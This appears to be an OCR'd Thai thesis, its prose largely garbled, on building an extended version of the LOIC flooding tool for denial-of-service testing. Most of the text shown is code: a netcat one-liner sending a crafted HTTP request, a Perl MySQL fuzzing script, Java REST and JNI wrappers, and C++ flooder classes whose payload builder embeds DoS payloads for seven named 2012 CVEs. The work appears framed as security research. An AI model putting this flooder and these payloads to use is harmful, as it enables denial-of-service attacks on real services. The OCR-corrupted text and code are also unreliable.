2. NNTTUEINITEN ﬁ‘ﬂﬂ’iﬁ‘NfJﬁV}Lﬂ@ﬁlu'll‘ﬂﬂ;lj@"ﬁ\'ﬁ\l’]@’mﬂx‘iﬁﬂ'ﬁ‘[ﬁl%‘l“’] Tuseuu

v o 4 <

aputya Iiilundngugeiigniies samis uas

a

% E4 A A
nsAuUunavizeulauaagEy

a
'
o 2

PR Lﬁ@mmﬁ“ﬂﬁmmm&u (AdaEa) Tlfasyunanqsliiianistaus

3. sruue195-nszqu udanaddgynin linsldtulugaunussy

o o

o @ a tﬂISJ o & [ =2 I A
ﬂQWNZﬁ’]L?@IMﬂW?ﬂ@VIQ JAUURYTINITAANNIT @umummﬂfﬂmqﬁ LL@Zﬂ?ZQH‘H’I’NVW’]?ﬂu

Tunjatiaimunzan



3

=)

un
8L UUNN5I]E

ndeiiauenisatuareenuuussuunslanAkLLl Jiasni sl

%

IneanAaTYLLTAR (CVE system) safhuvsadnaanidenadutesnduariey

a

ﬂﬂu?ﬂﬂgauﬁﬂzﬁﬂuﬁ*uLﬂ?@qﬁ@wm@@wmim (vulnerability scanner) FfungantstauAuuy

aAaa

dfjissnislfauninandesiuangaunsagninunldlunisssannisdmdumiaenist

(a2t Fayalunisuannszqu) waznisinuuad Inaddganiunimsusssialii

a o

= o o a Aad o Ao o wy =
1. ﬂﬂw’]ﬂuﬂ"g’]wqwgl,l,@z\‘i’]u ENLNEUINRAINAN Ey1ﬁLLﬂ ﬂ’]ﬁ‘T@ﬁJﬁlLLU‘U

v
o a o

Ufiaen1s e T98 nanageLIaIzIz LY $9M7isNueE inanagnedaesesiialunislans
wuutfiasnisldann nsduunuazAngssTianiangeusanislaniuuulasnsldeu

SARITANY

2. dpnnaresienldlunislanauuudasnislfenetanunzanive 14

1
a o a

NARBLUUIAINNAR TRty ez dsainesdesn I TNIAgaL [NanIAIN

Hulilfuaz@nsieinun 1l lusnvldamnndngi sz asfaesanuias

o al a o dl dl 2 dl | o =2
3. HWVIE]H{]LLZ\]Z\‘I’]‘MQ@HWLﬂEI'J“lI@\‘WILﬂUN@@WﬁQWﬂﬂW?ﬂﬂHWLL@ZW@@@\‘I ENM

o

A A gy = = o A o o
muAresianlElunislanmuuudiasnislieuiedos lunmageuianzsruudniy

232

ALNTSUL

4. 'Z‘mﬂﬂ?"’@u'ﬂ‘ﬂﬂNW’Q’mIﬂ?LLﬂ?N'&’M?UI’QN&]NWN%@QTM Aa1usAUnN LK

1
o o al

AnAUNATEARNAEATY (keyword) RlENmualEluAtasuNa109E98 Tnaenuiddal
Anasslilsunsudmiulanmrinudasiuininandesiuqaeeudwiiuilsyloamdsonislanmuny
Ufiasnnaldenn e lfdiuninuazinanudnlalunislasfsesnszquusiazuuy |y
o a L . o A o P o o o a | Lo Ny
FaiaunIngeau duiunseguianneaninlfiainsialusunsudiniulaumdiudesindtiuls

g & miunismeasuiaiiuniuealalainlisunissietmnudo

5. nagauuazufilauealaladinarinnimesssnnieyaidesfiuniinunls
o  a Ry = o = o y A g9
FINAIBTUNYTONTERD uaziNanadeuiunszqunatnnsnannaanunld aldlunisun

& ' = :// [ o o”
‘?J@UﬂW‘i’ﬂ\‘iﬂ’ﬂ\‘iLL’ﬂ@I’ﬂvLﬂsﬁ mnuummiﬂiuﬂg‘a LASNAR/|LLN



10

3.1. dannesdasnudasiniaiunislansuuuliganisbdanu
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3.3. LUIARIFRINTEPULATNITRENTEHY

o

NHaUNANDIUUIANETDINTEQAUIALNTNAANIZAU Tnea A uuIAnNIg

ananszquasnuiansiandalisunsudmiulanmeinugeslng (exploit code) Tetaelu

¥ dlo | v 5 = a c o A
NITAUNIMNITEHUNAN Lﬂu‘ﬂ‘ﬂﬂll'?ll@ DINLLUINWLUASNITUATIEN AN

3.3.1. msAumlUsunsugrusulanmeutaelng

a o

1% o o a 1 1 . o t:ll tﬂl 2
AR ldsunsnd niuTanmrutesing (exploit) andAeenulauninaldas
dJ = 1 % =2 % 1 4 2
THN1TNA1IE 1 IINTABIIUNIAULaINUszinndeyalunadne (ontology) [26] Usznay

o v o o tﬁl 1 o a aalal 1 o v @ o o Y
Aung A ﬂ"‘ﬂ\‘lﬂ?Wﬂg@%ljsluﬂq‘ﬂﬁ‘]_l’m‘ﬂ@ﬂsﬂ')’ﬂLLIF]@Z&]’JEL‘I]L‘]J‘MLL‘LL’W]’N'&’]M?‘LIﬁuﬁ’]ol,ﬂﬂm?ll

o
a o

duFulanmeinutesindanndumasifingns1sass (public internet) 18 TuanudsaildAnuen

wnvinengeuuesanislanduuulfiasnisieulul 2012 uaglifinslifudnaesdes

Ay

Tuanlaniuualiluatesunaaesaiaiiie Aurn lUsun s luaumnasina1a17 0y
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if [ s# -1t 2 ]
then

echo "usage :50 <Host/IP> <Port>"
else
echo -ne I"GET # HTTP-1.1\r\nHost: pwn.ed\r\nConnection: TE,,Keep—Alive\r\n\r\n"I[ nc $1 $2

fi
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Use Net::MySQL
use Encode:

$1=1
my $mysql = Net::MySQL->new( STEP 1
hostname => '192.168.2.3",
database => "test",
user => "user",
password => "test",
debug => 0
port =: 3306
):
@commands = ('USE d','SHOW TABLES FROM d', "DESCRIBE t", "SHOW FIELDS FROM t", "SHOW COLUMNS FROM t", "SHOW INDEX FROM t",
"CREATE TABLE table_name (c CHAR(1))". "DROP TABLE t" K "ALTER TABLE t DROP c",
"DELETE FROM t WHERE 1=1". "UPDATE t SET a=a". "SET PASSWORD=PASSWORD('p')"):

foreach my Scommand (@commands) (
for ($k=0:$k<length($command): $k++) {

$c = substr($command, 0, $k) . "Z" x 10000 . substr($command, $k+1):
$c2 = substr($command, 0. $k) . "AAAA. . AA" substr($command, $k+1):
print "§c2";:

Smysql->query($c): STEP 2

smysql->close:

a o o a \ PN ] o ra
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STEP I: CVEs from 2012
5,297 CVEs

STEP II: Filter for DoS Vulnerability Type
Extracted 1,425 CVEs

STEP III: Search public internet for exploits
Found 52 exploits

STEP IV: Analyse exploits for payloads
Found 16 payloads
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4.1.1. ms'afammudqumuqumﬁﬁa (Fire Control)

TuidatiaznanafisniseanuuuaaIalaasunsNd uiudouaI AN 989

el Zanldaugautlszanuanudaiisidunadenislitunesalalad Aan 1w 4.1

Startup
+init()
SubmitFireControlScript SetupFireControlScript
+executa() -setupFireControl()
-setConfig()

StartupFireControlScript

-startupFireControl{)

StopFireControlScript

-stopFireControl{)

NINT 4.1 AANALABZUNINEMTLAIUATLIANNISEN
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4.1.2. NMSATNAIUAILANMSEN
v ¥ dg’ I =2 o o ' a dll
M'J‘?.I“ﬂuﬂ@’mﬂ\‘m'ﬁ‘ﬂ@ﬂLL‘LI‘]_Iﬁ@W@iﬁ’ﬂZLLﬂ?N@Wﬂ?U@Quﬁ’JUﬂNﬂW?HQL‘W‘ﬂi‘ﬂ

v
o o

Genlfiudaulsraeudalsidunanseuulaseqliitisnis Apache Tomeat §1 7.0.35

wazlfiinisinenadsldsunss (library) A%941 Quartz §1 quartz-2.1.6 ¥1M1971Elu Cron

b

Scheduler ivataglunsinunAdanistiangnassduuuiuguidsunsunimwnaey

4.1.3. nsaanuuutanatinwaalalad (Extending LOIC)
T A 4 oa P e
Fadatinarnnenireanwuuiiesatinuealeladinaa1danisAaingon

svanuanudaieitulinuuaalaled sanini 4.2

ExtendedLoicApiRESTful

+setFloodParameter()

+startFlood()

+-stopFlood()

winteriace»

ExtendedLoicApiNative

+setFloodParamstar()

+startFlood()

+stopFlood()

1

MainSynapse

Fstring : P
Fstring : Protocal
Fstring : Port
Fstring : CVE_ID

Fstring © Payload

+setFloodParameter()

+startFlood()

+stopFlood()
+payloadConstruct()
— 07 -
1 1
xppflooder httpflooder
Fstring : [P

Fstring @ IP

-string : Protocol FEtring : Protocol

Fstring : Port Fstring : Port
kstring : Data Fstring Subsite
+stopFlood() =stopFlood()
wrun() rundy

NN 4.2 pandlaazuninnissaiinuaalelad
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Waliifluldmuaaumunzandiniunis anu Tuaudsaiilétinmen RESTful web AP
(4138 RESTful web service) 1flugaunilaluniswmunsamngaulszaiuanuidaiaddu
dll =l vYe v a v al U % dJ ] a
Waesannig litdounruaunistiadinunBanlduld Gesianisaesdouilszaiunuid

Wartdun ldsalRntununandlAeamn13799 4.1

nzll = dld 1 a Y o =
R38N0 4.1 ?Wﬁlﬂqﬁ”ﬂ’ﬂ\‘iLﬂWi@WNﬂW?W@LWNI‘V]ﬂULL@@I@1@GH

dnuieiila (API) ANBDUNE

setFloodParameter | n13seAN1neuliiuLaalalad

startFlood AluealaladButa

T
o

stopFlood daluealeladuent

4.1.4. nsasediunaLaNLaalalad

o Y -e:l” 1 =) v 1 1 a 6 o o a v
mmﬂuﬂmqmmimwmumLmuﬁmfﬂuma‘mmwnmLL@@TM@G}JLMM

1 v
a o L

Fdn  dwsunuaseiliieuealalediuiimuniusndos tsunsunsndndanda
(LOIQ §u c++ loic 0.3 a) [27] mLﬂum‘%mﬁ@hmﬁwﬁLLuuﬂf]Lmﬁmﬂ%muﬁﬁﬂmuﬂ@
TU3unsu (compile) LasRafLLAseliBne JBoss 4 5.1.0 GA uazlaznsinenas
Tsunsuiidadn Jersey 914 1.12 Wil RESTful Web AP ielianansnfusdianndon

a %
ALIANNN9EN

package service;

import java.util.logging.Logger;

import javax.servlet.http.HttpServletRequest;
import javax.ws.rs.GET,;

import javax.ws.rs.POST;

import javax.ws.rs.Path;

import javax.ws.rs.Produces;

import javax.ws.rs.core.Context;

import javax.ws.rs.core.MediaType;

import com.sun.jersey.spi.resource.Singleton;
import nativeinterface.ExtendedLoicApiNative;

NN 4.3 sdfuaLy ExtendedLoicApiRESTful.java
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@Singleton
@Path("/ExtendedLoicApiRESTful")
public class ExtendedLoicApiRESTful {

private static Logger logger =
Logger.getLogger(ExtendedLoicApiRESTful.class.getName());

static {
System.load("/root/Desktop/workspace/Extended-
LOIC/src/ext-loic.s0");

}

private ExtendedLoicApiNative apiExtendedLoic;

public ExtendedLoicApiRESTful(){
apiExtendedLoic = new ExtendedLoicApiNative();

@GET
@Path("setFloodParameter")
@Produces(MediaType. TEXT_PLAIN)
public String setFloodParameter(
@Context HttpServletRequest request) {
String result = "fail\n";
String delimeter =",";
try{
String param = request.getParameter("param");
String[] params = param.split(delimeter);
apiExtendedLoic.setFloodParameter(params);

result = "success\n";
} catch (Exception ex) {

logger.info(result);
return result;

}

@GET

@Path("startFlood")
@Produces(MediaType. TEXT_PLAIN)
public String startFlood() {

String result =",
try{
result = apiExtendedLoic.startFlood();
result = result.concat("\n");

} catch (Exception ex) {
result = "ERROR: "+ex.getMessage();
result = result.concat("\n");
return result;

A 4.3 39@suaTu ExtendedLoicApiRESTful java (fia)
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}

logger.info(result);
return result;

}

@GET

@Path("stopFlood")
@Produces(MediaType. TEXT_PLAIN)
public String stopFlood() {

String result = "";
try{
result = apiExtendedLoic.stopFlood();
result = result.concat("\n");

} catch (Exception ex) {
result = "ERROR: "+ex.getMessage();
result = result.concat("\n");
return result;

}

logger.info(result);

return result;

A7 4.3 sWafiuaiiu ExtendedLoicApiRESTful java (58)

package nativeinterface;
public class ExtendedLoicApiNative {

public native String setFloodParameter(String[] param);
public native String setTarget();

public native String changeSpeed(int speedValue);
public native String startFlood();

public native String stopFlood();

AW 4.4 99%@Huaiu ExtendedLoicApiNative java

auiulFinn i 4.4 3 8n19lsynnA method lunuy native Buan ag
o . <& A o o . o ANa o < o
AN1704 5 940uLsr A1 MaLE e L a1 0 e usa N ULeaTa la T AW LN AL Aol

TUsunsuNn TNAaNAa LS FaantsiaanlEanuaidsaad Java Native Interface patl

java -jni nativeinterface.ExtendedLoicApiNative
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g39dousalszanulduiulealalad

#include <jni.h>

/* Header for class nativeinterface_ExtendedLoicApiNative */

#ifndef _Included_nativeinterface ExtendedLoicApiNative

#define _Included_nativeinterface ExtendedLoicApiNative

#ifdef __ cplusplus

extern "C" {

#endif

/*

* Class: nativeinterface ExtendedLoicApiNative

* Method: setFloodParameter

* Signature: ([Ljava/lang/String;)Ljava/lang/String;

*/

JNIEXPORT jstring JNICALL

Java_nativeinterface ExtendedLoicApiNative setFloodParameter
(INIENnv *, jobject, jobjectArray);

/*

* Class: nativeinterface_ExtendedLoicApiNative

* Method: setTarget

* Signature: ()Ljava/lang/String;

*/

JNIEXPORT jstring JNICALL

Java_nativeinterface_ExtendedLoicApiNative setTarget
(INIENnv *, jobject);

/7\-

* Class: nativeinterface ExtendedLoicApiNative

* Method: changeSpeed

* Signature: (I)Ljava/lang/String;

*/

JNIEXPORT jstring JNICALL

Java_nativeinterface_ExtendedLoicApiNative_changeSpeed
(INIENnv *, jobject, jint);

/*

* Class: nativeinterface ExtendedLoicApiNative

* Method: startFlood

* Signature: ()Ljava/lang/String;

*/

JNIEXPORT jstring JNICALL

Java_nativeinterface ExtendedLoicApiNative startFlood
(INIENnv *, jobject);

/7\-

* Class: nativeinterface_ExtendedLoicApiNative

* Method: stopFlood

* Signature: ()Ljava/lang/String;

*/

JNIEXPORT jstring JNICALL

Java_nativeinterface ExtendedLoicApiNative stopFlood
(INIENv *, jobject);

#ifdef __ cplusplus

#endif
#endif

AT 4.5 3asuaLiy nativeinterface_ExtendedLoicApiNative.h
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#include "nativeinterface_ExtendedLoicApiNative.h"
#include "mainsynapse.h"

#include <string>

#include <iostream>

using namespace std;

static MainSynapse* ms;
static QStringList qgtrList;

JNIEXPORT jstring JNICALL
Java_nativeinterface ExtendedLoicApiNative setFloodParameter
(INIEnv *env, jobject obj, jobjectArray param){
gDebug()<<"-->In setFloodParameter()";

ms = new MainSynapse(); // initialize object

jsize count = env->GetArrayLength(param);
gtrList = QStringList();

for (int i=0;i<count;i++) {
jstring jstr = (jstring) env->GetObjectArrayElement(param,i);
const char *pChr = env->GetStringUTFChars(jstr,NULL);
std::string cstr = (std::string) pChr;
QString gstr = QString::fromStdString(cstr);
gtrList.append(qgstr);

QString result = ms->setFloodParameter(qgtrList);
const char *buf = result.toStdString().c_str();

return env->NewStringUTF(buf);

}
JNIEXPORT jstring JNICALL
Java_nativeinterface ExtendedLoicApiNative setTarget
(INIENnv *env, jobject obj){
gDebug()<<"-->In setTarget()";

const char *buf = "";
if (ms!=NULL) {
QString result = ms->setTarget();
buf = result.toStdString().c_str();
}else {
QString result = "Please setFloodParameter.";
buf = result.toStdString().c_str();

}

return env->NewStringUTF(buf);
}
JNIEXPORT jstring JNICALL
Java_nativeinterface ExtendedLoicApiNative_changeSpeed
(INIENnv *env, jobject obj, jint speedValue){
gDebug()<<"-->In changeSpeed()";

AN 4.6 saGURLTL nativeinterface_ExtendedLoicApiNative.cpp




const char *buf =";
if (ms!=NULL) {
int iISpeedValue = (int) speedValue;
QString result = ms->changeSpeed(iSpeedValue);
buf = result.toStdString().c_str();
}else {
QString result = "Please setFloodParameter.";
buf = result.toStdString().c_str();

}

return env->NewStringUTF(buf);
}
JNIEXPORT jstring JNICALL
Java_nativeinterface ExtendedLoicApiNative_startFlood
(INIENnv *env, jobject obj){
gDebug()<<"-->In startFlood()";
const char *buf =",
if (ms!=NULL) {
QString result = ms->startFlood();
buf = result.toStdString().c_str();
}else {
QString result = "Please setFloodParameter.";
buf = result.toStdString().c_str();

}

return env->NewStringUTF(buf);

}
JNIEXPORT jstring JNICALL
Java_nativeinterface ExtendedLoicApiNative stopFlood
(INIENnv *env, jobject obj){
gDebug()<<"-->In stopFlood()";
const char *buf ="";
if (ms!=NULL) {
QString result = ms->stopFlood();
buf = result.toStdString().c_str();
}else {
QString result = "Please setFloodParameter.";
buf = result.toStdString().c_str();

}

return env->NewStringUTF(buf);

AN 4.6 SRR nativeinterface_ExtendedLoicApiNative.cpp (f8)

#include <QtCore/QObject>
#include <QtCore/QtDebug>
#include <vector>

AN 4.7 sWafiuaiu mainsynapse.h
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#include <QtNetwork/QHostInfo>
#include <QtCore/QEvent>
#include <QtCore/QRegExp>
#include <QtCore/QTimer>
#include "xppflooder.h"

#include "httpflooder.h"

#include <fstream>

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpalinet.h>
#include <netdb.h>
#include <iostream>
#include <cstring>
#include <string>

#ifndef MAINSYNAPSE_H
#define MAINSYNAPSE_H

#define POLLING_FREQ 333

class MainSynapse : public QObject
{

public :
MainSynapse();

/I APl commands

QString setFloodParameter(QStringList parameters);
QString startFlood();

QString stopFlood();

private:
QString payloadConstruct(QString cveno);

private:
std::vector<xppflooder*> threads;
std::vector<httpflooder*> threads_h;
quint32 timer;
QString Protocol;
bool active;
void clear_stats();
quint64 active_time;
quint64 floodcount;

quint64 Requested;
quint64 Failed;
quint64 Downloaded;

AW 4.7 39@HuRTL mainsynapse.h (58)
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quint32 Status_idle;

quint32 Status_connecting;
quint32 Status_requesting;
quint32 Status_downloading;

/l Parameters

QString URL_field;

QString IP_field;

QString Target_field;

QString TCP_UDP_Message _field;

QString CVE_ID;/ICVE ID.

QString Payload;//Bullet

QString Port_field;

QString Method_Protocol_field;//TCP, UDP, HTTP
QString Threads_field;//Rounds

quint32 Speed_Delay;// 0-Faster, 99-Slower (milisecond)
QString Timeout_field;

bool Wait_for_response;

QString HTTP_subsite_field;

h

#endif // MAINSYNAPSE_H

N7 4.7 s9dAURLL mainsynapse.h (5g)

#include "mainsynapse.h"

MainSynapse::MainSynapse()
{

active = false;

IP_field ="

URL _field ="

Timeout_field = "9999";

HTTP_subsite_field = "/";

TCP_UDP_Message_field = "A Cat Is Fine Too";

CVE_ID ="

Payload =",
Port_field = "80";

Method_Protocol_field = "TCP";
Threads_field = "10";

Wait_for_response = false;
Speed_Delay = 0;

}

1

/I Set Parameters

1

QString MainSynapse::setFloodParameter(QStringList parameters){

A 4.8 3iasduaiu mainsynapse.cpp




QsString result = "INFO: Set flood parameters success.";
if (lparameters.isEmpty())

QStringList::Iterator it;
for (it = parameters.begin(); it != parameters.end(); it++) {

QStringList pair = it->split("=");
pair[0].remove(QRegEXxp(" "));

if (pair.size() > 1)
pair[1].remove(QRegExp(" "));

if (pair[0] == "target_ip") {
IP_field = pair[1].trimmed();
} else if (pair[0] == "targethost") {
URL _field = pair[1].trimmed();
} else if (pair[0] == "subsite") {
HTTP_subsite_field = pair[1].trimmed();
} else if (pair[0] == "message") {
TCP_UDP_Message_field = pair[1];
} else if (pair[0] == "port") {
Port_field = pair[1].trimmed();
} else if (pair[0] == "protocol"”) {
Method_Protocol_field = pair[1].trimmed().toUpper();
} else if (pair[0] == "rounds") {
Threads_field = pair[1].trimmed();
} else if (pair[0] == "wait") {
if (pair[1].trimmed().toLower() == "true")

Wait_for_response = true;
} else if (pair[1].trimmed().toLower() == "false") {
Wait_for_response = false;

}
} else if (pair[0] == "speed") {
Speed_Delay = pair[1].trimmed().tolnt();

}
else if (pair[0] == "cve_id") {
CVE_ID = pair[1].trimmed();
Payload = this->payloadConstruct(CVE_ID);
} else if (pair[0] == "default") {
/l By default
IP_field ="
URL_field ="";
Timeout_field ="9999";
HTTP_subsite_field ="/";
TCP_UDP_Message_field ="A Cat Is Fine Too";
Port_field = 80;
Method_Protocol_field = "TCP";
Threads_field = "10";
Wait_for_response = false;
Speed_Delay = 0;

}else {
result = "ERROR: Some invalid parameters error.";

A 4.8 39asuaiu mainsynapse.cpp (A1)
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gDebug() << result << endl;
return result;
}
}

}else {
result = "ERROR: No parameters provided.";
gDebug() << result << endl;
return result;

}

return result;

}

"
/Initialize packet generator
I

QString MainSynapse::startFlood()

{
QString result = "INFO: Flooding packets success.";
if (not active) {

if (IP_field.isEmpty()) {
result = "ERROR: No target selected.";
gDebug() << result << endl;
return result;

clear_stats();
floodcount = 0;

Target_field = IP_field;

gDebug() << "MainSynapse::CVE ID:" << CVE_ID << endl;

gDebug() << "MainSynapse::Rounds:" << Threads_field << endl;

gDebug() << "MainSynapse::Method:" << Method_Protocol_field
<< endl;

gDebug() << "MainSynapse::Port:" << Port_field << endl;

gDebug() << "MainSynapse::IP:" << Target _field << end|;

gDebug() << "MainSynapse::Payload:" << Payload << endl;

gint 32 max = Threads_field.tolnt()+ 1/ 1stround is the
initial of object.
for (gint 32i=  o;i<max;i++) {

if (Method_Protocol_field =="HTTP") {
threads_h.push_back(new httpflooder (

Target_field,
Port_field.tolnt(),
Method_Protocol_field,
Speed_Delay,
Timeout_field.tolnt(),
Wait_for_response,
Payload

threads_h.at(i)->start();

NN 4.8 sdRuaLL mainsynapse.cpp (58)
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}
else if (Method_Protocol_field == "TCP" ||

Method_Protocol_field == "UDP") {

}

I

threads.push_back(new xppflooder (
Target_field,
Port_field.tolnt(),
Method_Protocol_field,
Speed_Delay,
Timeout_field.tolnt(),
Wait_for_response,

Payload
B
threads.at(i)->start();

}
b
active = true;
active_time = 0;
stopFlood();

}

/' Stopping packet generator

I

QString MainSynapse::stopFlood()

{

}

QString result = "INFO: Stop the flooding packets success";
if (active) {

killTimer(timer);

gDebug() << "Stopping the flood..." << endl;

gint 32 max = Threads_field.toInt()+ iy
for (gint 2i= o i<max;it+){
if (Method_Protocol_field == "HTTP") {
httpflooder *fld_h = threads_h.back();
fld_h->stop();
fld_h->wait();
delete fld_h;
threads_h.pop_back();
}else {
xppflooder *fld = threads.back();
fld->stop();
fld->wait();
delete fld;
threads.pop_back();
}
}

gDebug() << "lon cannon [Stopped]" << endl;
Target_field = "NONE";

active = false;

3}

Return result;

A 4.8 39asuaiL mainsynapse.cpp (518)
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QString MainSynapse::payloadConstruct(QString cvelD){
QString bullet = ";

QStringList CVE_LIST;

CVE_LIST.append("CVE-2012-5533");
CVE_LIST.append("CVE-2012-1783");
CVE_LIST.append("CVE-2012-5329");
CVE_LIST.append("CVE-2012-5905");
CVE_LIST.append("CVE-2012-3845");
CVE_LIST.append("CVE-2012-0292");
CVE_LIST.append("CVE-2012-6050");

switch (CVE_LIST.indexOf(cvelD))
{
case 0:
bullet = "GET / HTTP/1.1\r\nHost: pwn.ed\r\nConnection:
TE,,Keep-Alive\r\n\r\n";
break;
case 1:
bullet = "GET
10:0,:9,:9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.0.9.9.9.0.9.9.9.9.9.0.9.9.9.9.99999999999999999999900
):9.9.9.9.0.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9999999999999.999999999999990999999990900
):9.9.9.9.0.9.9.9.9.9.9.9.9.9.9.9.9.9.99.9.9.99999999999999.99999999999999009999999090900
)9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.0.9.9.9.9.9.9.0.0.9.9.9.9.9.9.9.9.9.9.9.99999.9.9.9.9.99999999000
)9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.0,0.9,.9.9,.0.9.9.9.9.9.9.9.9.9.9.9.9.9.999.9.9.9.9.9.99999999000
)9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9,9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9999.9.9.9.9.99999.99990000
):9.9.9.9.0.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9999999.999999999999999999999990999999990900
):9.9.9.9.0.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.99999999.99999999999999999999900999909999000
)9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9,9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.99.9999000
XAEAKXX XXX XXXXXXXXXKXKXKKK XX XXX XXXXXXXXXXX HTTP/1.0\n\n\n";
break;
case 2:
bullet = "USER anonymous\r\nPASS anonymous\r\nAPPE
A.JAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANNN",
break;
case 3:
bullet = "USER system\r\nPASS
secret\n\n./AJAJATATATATATATATATATATATAATATAALIA.]
AJATATATAIATATATATATATATATATATATATATATATAALIA ]
AJATATATAIATATATATATATATATATATATATATATATAALIA ]
AJATATATATATATAATATATATAA A TATAIAATATALIAIA.]
AJAJATAJAJANNY;
break;
case 4:
bullet.append("MSGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

XXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX
XXXXXX

AAAA

\A

AAAAAA
AAAAAA
AAAAAA
AAAAAA
AAAAAA
AAAAAA
AAAAAA
AAAAAA

A 4.8 39asuaiu mainsynapse.cpp (A1)
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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break;
case 5

bullet.append(”....0..0b............ ob............ ");
break;
case 6:
bullet.append(\x 12\ o2roteros.dll\x 00\XFF\XED\x

\XFF\XED");
break;

return bullet;

}

00\X 00

NN 4.8 svdsuaLL mainsynapse.cpp (58)

#include <iostream>

#include <QtCore/QThread>

#include <QtCore/QString>

#include <QtGui/QApplication>

#include <QtNetwork/QTcpSocket>
#include <QtNetwork/QUdpSocket>
#include <QtNetwork>

#include <fstream>

#ifndef HTTPFLOODER_H_1285973835
#define HTTPFLOODER_H 1285973835

enum thread_state { idle, connecting, requesting, downloading };
class httpflooder : public QThread
{
public:

volatile quint64 FloodCount;

volatile quint64 Downloaded;

volatile quint64 Requested;

volatile quint64 Failed;

QsString IP;

quint32 Port;

QString Protocol;

quint32 Delay;

quint32 Timeout;

bool Response;

QString Subsite;

httpflooder(QString ip, quint32 port, QString protocol, quint32
delay, quint32 timeout, bool resp, QString subsite);

void stop();

volatile thread_state Status;
protected:

void run();
private:

volatile bool active;
I
#endif

AT 4.9 asuaiy httpflooder.h
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#include "httpflooder.h"

httpflooder::httpflooder(QString ip, quint32 port, QString protocol,

quint32 delay, quint32 timeout, bool resp, QString subsite)

{
active = true;
IP =ip;
Port = port;
Protocol = protocaol;
Delay = delay;
Timeout = timeout;
Response = resp;
Subsite = subsite;
FloodCount = 0;
Requested = 0;
Downloaded = 0;
Failed = 0;
Status = idle;

}

1

/I Start the HTTP request generator
1

void httpflooder::run()

while (active) {

gDebug() << "httpflooder::Protocol:" << Protocol << endl;

gDebug() << "httpflooder::IP:" << IP << endl;

gDebug() << "httpflooder::Port;" << QString::number(Port) <<
endl;

QHostAddress *addr = new QHostAddress(IP);
QTcpSocket *Socket = new QTcpSocket;
Socket->connectToHost(*addr, Port);

Status = connecting;

if (!Socket->waitForConnected(Timeout)) {
Socket->close();
delete addr;
delete Socket;
Failed++;
continue;

}

gint64 errcode = 0;
Status = requesting;

QString Data = Subsite;
gDebug() << "httpflooder::Data:" << Data << endl;
gDebug() << "httpflooder::rounds at:" <<
QString::number(Requested);

AT 4.10 sWaGuRLTY hitpflooder.cpp




32

errcode = Socket->write(Data.toUtf8(),
Data.toUtf8().size());
Socket->flush();
if (errcode == -1) {
Failed++;
}else {
Requested++;

}
if (Response) {
Status = downloading;

if (!Socket->waitForReadyRead(Timeout)) {
Failed++;
Socket->close();
delete addr;
delete Socket;
continue;
}else {

Socket->read ( 128 );
Downloaded++;
this->msleep(Delay);

}

}else {

Socket->abort();

Socket->close();

delete addr;

delete Socket;
Status = idle;

this->msleep(Delay);

}
active = true;
}
I
